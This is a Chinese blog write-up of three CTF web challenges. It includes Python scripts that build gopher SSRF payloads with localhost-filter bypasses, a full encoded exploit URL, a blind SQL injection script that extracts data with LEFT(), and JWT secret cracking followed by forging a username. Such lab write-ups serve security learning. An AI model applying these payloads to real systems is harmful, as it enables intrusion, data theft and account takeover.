比赛时间在博客建站之前,题目没有自己截的图,在网上找了几张。

easy_curl

首先通过php伪协议读取源文件

1
?url=file:///var/www/html/index.php

得到index.php源码:

index.php源码

同理得到flag.php源码:

flag.php源码

通过源码分析可以得到基本逻辑,index.php负责进行过滤和curl访问,flag.php输出变量key和检测访问是否来源于本地,如果是则输出flag。

题目重点在于:

  • gophar协议构造http请求

  • index.php对内网地址的过滤

gophar协议构造http请求:

构造GET请求:

使用脚本:

1
2
3
4
5
6
7
8
9
10
import urllib
test =\
"""GET /ssrf/get.php HTTP/1.1
Host: 192.168.0.111
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://sudo.cc:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

构造POST请求:

包格式与GET不同,需要额外提供请求头Contennt-Type与Content-Length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=4208252604f16d7ed834c6bfceb54440
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://sudo.cc:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

尤其要注意二次编码问题,因为最终利用index.php的curl时仍要urlencode

本地地址过滤绕过

正则表达式过滤了 localhost、127.0开头的字符串以及中文句号。 因此可以进行进制转换,例如127.0.0.1转换十进制为 2130706433,进行请求等同于127.0.0.1.

另外一种方法可以访问sudo.cc,此域名在经过解析后为127.0.0.1,同样可以进行过滤绕过。

最终payload:

1
http://80.endpoint-453973b83c7545d5a12aef2756506771.s.ins.cloud.dasctf.com:81/?url=gopher://2130706433:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%36%32%25%33%35%25%33%30%25%33%30%25%33%38%25%36%36%25%33%32%25%33%36%25%33%38%25%36%35%25%36%31%25%36%33%25%36%31%25%33%36%25%36%36%25%33%38%25%33%30%25%36%33%25%36%36%25%33%33%25%33%32%25%36%35%25%33%32%25%33%32%25%33%34%25%33%38%25%33%37%25%33%35%25%33%31%25%33%38%25%36%36%25%33%39

Simple Message Board

SQL注入,首先使用burp进行fuzz,发现substring函数被ban,使用left函数代替,left函数语法:

1
LEFT(str,length);

函数返回指定长度的字符串的左侧部分。

经过测试注入点在search面板中,贴一个别人的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests,string
url = "http://80.endpoint-8c456a973f5a40b1ad419af58b263ad3.s.ins.cloud.dasctf.com:81/index.php?act=search"
res =""
print(string.printable)
for i in range(1,100):
print(i)
for j in "0123456789abcdefghijklmnopqrstuvwxyz{}-":
tmp=res
tmp+=j
payload1 = "-1'||if((left((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{})='{}'),1,0)#".format(str(i),tmp)
payload1 = "-1'||if((left((select*from(flag)),{})='{}'),1,0)#".format(str(i),tmp)
#print(payload1)
#payload2 = "admin'^(ascii(mid(database()from {}))>{})^1%23".format(i,j)
data = {"keyword":payload1}
r = requests.post(url,data=data)
if "Message:Hello, world!" in r.text:
res=tmp
print (res)
break
if "What are you doing?" in r.text:
print('Baned!')
exit()

脚本核心使用left函数对select到的内容进行截取,通过遍历的方式匹配到正确的字符。

三体信息破译

注册账号,在burp中能够看到cookie为jwt格式,在头部中可以看到加密方式为hs256,考虑进行暴力破解(没想到真能破解出来),使用工具c-jwt-cracker进行破解,docker运行

1
docker run -it --rm jwtcrack [完整的jwt格式的一个样本]

得到密码为izihz

登陆后会看到一长串关于网络安全的定义,很长所以很容易被人忽略(多用ctrl+f搜索一下关键词例如flag、hint之类,很有可能藏在看似无用的内容中),发现hint为使用用户名为“yewenjie”的用户进行登录,而jwt中有用户名字段:

JWT内容

将username改为yewenjie后利用破解出的密钥重新生成签名登录即可获得flag。

写在最后:

真的菜,差距真的大,多参加比赛,多刷题!